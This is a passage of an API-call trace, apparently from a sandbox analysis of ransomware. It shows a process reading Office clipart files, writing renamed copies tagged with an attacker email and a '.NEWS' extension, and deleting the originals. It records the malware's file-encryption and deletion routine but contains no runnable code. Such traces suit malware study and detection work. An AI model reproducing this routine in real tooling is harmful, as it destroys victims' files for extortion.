(lpString=".bz2") returned 4 [0243.219] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.219] lstrlenW (lpString=".7z") returned 3 [0243.219] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0243.219] lstrlenW (lpString=".dbf") returned 4 [0243.219] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0243.219] lstrlenW (lpString=".1cd") returned 4 [0243.219] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0243.219] lstrlenW (lpString=".jpg") returned 4 [0243.219] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.220] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0243.220] lstrlenW (lpString="AN04384_.WMF") returned 12 [0243.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0243.221] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=4996) returned 1 [0243.221] CloseHandle (hObject=0x15c) returned 1 [0243.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf")) returned 0x20 [0243.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0243.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0243.222] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0243.222] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0243.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0243.225] GetLastError () returned 0x0 [0243.225] ReadFile (in: hFile=0x15c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x1384, lpOverlapped=0x0) returned 1 [0243.296] WriteFile (in: hFile=0x1cc, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0x1390, lpOverlapped=0x0) returned 1 [0243.299] ReadFile (in: hFile=0x15c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0243.299] WriteFile (in: hFile=0x1cc, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.300] SetEndOfFile (hFile=0x1cc) returned 1 [0243.300] CloseHandle (hObject=0x1cc) returned 1 [0243.300] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0243.300] SetEndOfFile (hFile=0x15c) returned 1 [0243.308] CloseHandle (hObject=0x15c) returned 1 [0243.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0243.309] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf")) returned 1 [0243.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0243.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0243.312] lstrlenW (lpString=".doc") returned 4 [0243.312] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.312] lstrlenW (lpString=".docx") returned 5 [0243.312] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.312] lstrlenW (lpString=".pdf") returned 4 [0243.312] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.312] lstrlenW (lpString=".xls") returned 4 [0243.312] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.312] lstrlenW (lpString=".xlsx") returned 5 [0243.313] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.313] lstrlenW (lpString=".ppt") returned 4 [0243.313] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0243.313] lstrlenW (lpString=".zip") returned 4 [0243.313] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.313] lstrlenW (lpString=".rar") returned 4 [0243.313] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.313] lstrlenW (lpString=".bz2") returned 4 [0243.313] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.313] lstrlenW (lpString=".7z") returned 3 [0243.313] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0243.314] lstrlenW (lpString=".dbf") returned 4 [0243.314] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0243.314] lstrlenW (lpString=".1cd") returned 4 [0243.314] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0243.314] lstrlenW (lpString=".jpg") returned 4 [0243.314] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0243.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0243.315] lstrlenW (lpString=".doc") returned 4 [0243.315] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.315] lstrlenW (lpString=".docx") returned 5 [0243.315] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.315] lstrlenW (lpString=".pdf") returned 4 [0243.315] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.315] lstrlenW (lpString=".xls") returned 4 [0243.315] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.315] lstrlenW (lpString=".xlsx") returned 5 [0243.315] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.315] lstrlenW (lpString=".ppt") returned 4 [0243.316] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0243.316] lstrlenW (lpString=".zip") returned 4 [0243.316] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.316] lstrlenW (lpString=".rar") returned 4 [0243.316] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.316] lstrlenW (lpString=".bz2") returned 4 [0243.316] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.316] lstrlenW (lpString=".7z") returned 3 [0243.316] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0243.316] lstrlenW (lpString=".dbf") returned 4 [0243.316] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0243.317] lstrlenW (lpString=".1cd") returned 4 [0243.317] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0243.317] lstrlenW (lpString=".jpg") returned 4 [0243.317] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.317] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0243.318] lstrlenW (lpString="BD00141_.WMF") returned 12 [0243.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0243.319] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=26886) returned 1 [0243.319] CloseHandle (hObject=0x15c) returned 1 [0243.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf")) returned 0x20 [0243.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0243.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0243.320] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0243.320] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0243.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0243.322] GetLastError () returned 0x0 [0243.322] ReadFile (in: hFile=0x15c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x6906, lpOverlapped=0x0) returned 1 [0243.327] WriteFile (in: hFile=0x1cc, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x6910, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0x6910, lpOverlapped=0x0) returned 1 [0243.332] ReadFile (in: hFile=0x15c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0243.332] WriteFile (in: hFile=0x1cc, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.332] SetEndOfFile (hFile=0x1cc) returned 1 [0243.332] CloseHandle (hObject=0x1cc) returned 1 [0243.333] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0243.333] SetEndOfFile (hFile=0x15c) returned 1 [0243.341] CloseHandle (hObject=0x15c) returned 1 [0243.342] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0243.342] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf")) returned 1 [0243.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0243.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0243.343] lstrlenW (lpString=".doc") returned 4 [0243.344] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.344] lstrlenW (lpString=".docx") returned 5 [0243.344] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.344] lstrlenW (lpString=".pdf") returned 4 [0243.344] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.344] lstrlenW (lpString=".xls") returned 4 [0243.344] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.344] lstrlenW (lpString=".xlsx") returned 5 [0243.344] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.344] lstrlenW (lpString=".ppt") returned 4 [0243.344] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0243.344] lstrlenW (lpString=".zip") returned 4 [0243.345] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.345] lstrlenW (lpString=".rar") returned 4 [0243.345] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.345] lstrlenW (lpString=".bz2") returned 4 [0243.345] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.345] lstrlenW (lpString=".7z") returned 3 [0243.345] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0243.345] lstrlenW (lpString=".dbf") returned 4 [0243.345] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0243.345] lstrlenW (lpString=".1cd") returned 4 [0243.345] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0243.346] lstrlenW (lpString=".jpg") returned 4 [0243.346] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0243.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0243.346] lstrlenW (lpString=".doc") returned 4 [0243.346] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.346] lstrlenW (lpString=".docx") returned 5 [0243.346] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.346] lstrlenW (lpString=".pdf") returned 4 [0243.346] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.347] lstrlenW (lpString=".xls") returned 4 [0243.347] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.347] lstrlenW (lpString=".xlsx") returned 5 [0243.347] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.347] lstrlenW (lpString=".ppt") returned 4 [0243.347] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0243.347] lstrlenW (lpString=".zip") returned 4 [0243.347] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.347] lstrlenW (lpString=".rar") returned 4 [0243.347] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.347] lstrlenW (lpString=".bz2") returned 4 [0243.347] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.348] lstrlenW (lpString=".7z") returned 3 [0243.348] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0243.348] lstrlenW (lpString=".dbf") returned 4 [0243.348] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0243.348] lstrlenW (lpString=".1cd") returned 4 [0243.348] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0243.348] lstrlenW (lpString=".jpg") returned 4 [0243.348] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.349] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0243.349] lstrlenW (lpString="BD00146_.WMF") returned 12 [0243.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0243.350] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=28948) returned 1 [0243.350] CloseHandle (hObject=0x15c) returned 1 [0243.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf")) returned 0x20 [0243.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0243.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0243.351] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0243.351] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0243.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0243.352] GetLastError () returned 0x0 [0243.854] ReadFile (in: hFile=0x15c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x7114, lpOverlapped=0x0) returned 1 [0243.860] WriteFile (in: hFile=0x1cc, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x7120, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0x7120, lpOverlapped=0x0) returned 1 [0243.864] ReadFile (in: hFile=0x15c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0243.864] WriteFile (in: hFile=0x1cc, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.865] SetEndOfFile (hFile=0x1cc) returned 1 [0243.865] CloseHandle (hObject=0x1cc) returned 1 [0243.865] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0243.866] SetEndOfFile (hFile=0x15c) returned 1 [0243.874] CloseHandle (hObject=0x15c) returned 1 [0243.874] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0244.421] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf")) returned 1 [0244.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0244.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0244.422] lstrlenW (lpString=".doc") returned 4 [0244.422] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.423] lstrlenW (lpString=".docx") returned 5 [0244.423] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.423] lstrlenW (lpString=".pdf") returned 4 [0244.423] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.423] lstrlenW (lpString=".xls") returned 4 [0244.423] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.423] lstrlenW (lpString=".xlsx") returned 5 [0244.423] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.423] lstrlenW (lpString=".ppt") returned 4 [0244.423] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0244.423] lstrlenW (lpString=".zip") returned 4 [0244.423] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.424] lstrlenW (lpString=".rar") returned 4 [0244.424] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.424] lstrlenW (lpString=".bz2") returned 4 [0244.424] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.424] lstrlenW (lpString=".7z") returned 3 [0244.424] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0244.424] lstrlenW (lpString=".dbf") returned 4 [0244.424] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0244.424] lstrlenW (lpString=".1cd") returned 4 [0244.425] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0244.425] lstrlenW (lpString=".jpg") returned 4 [0244.425] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0244.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0244.425] lstrlenW (lpString=".doc") returned 4 [0244.425] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.425] lstrlenW (lpString=".docx") returned 5 [0244.425] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.425] lstrlenW (lpString=".pdf") returned 4 [0244.426] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.426] lstrlenW (lpString=".xls") returned 4 [0244.426] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.426] lstrlenW (lpString=".xlsx") returned 5 [0244.426] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.426] lstrlenW (lpString=".ppt") returned 4 [0244.426] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0244.426] lstrlenW (lpString=".zip") returned 4 [0244.426] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.426] lstrlenW (lpString=".rar") returned 4 [0244.427] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.427] lstrlenW (lpString=".bz2") returned 4 [0244.427] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.427] lstrlenW (lpString=".7z") returned 3 [0244.427] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0244.427] lstrlenW (lpString=".dbf") returned 4 [0244.427] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0244.427] lstrlenW (lpString=".1cd") returned 4 [0244.427] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.428] lstrlenW (lpString="C:\\Program 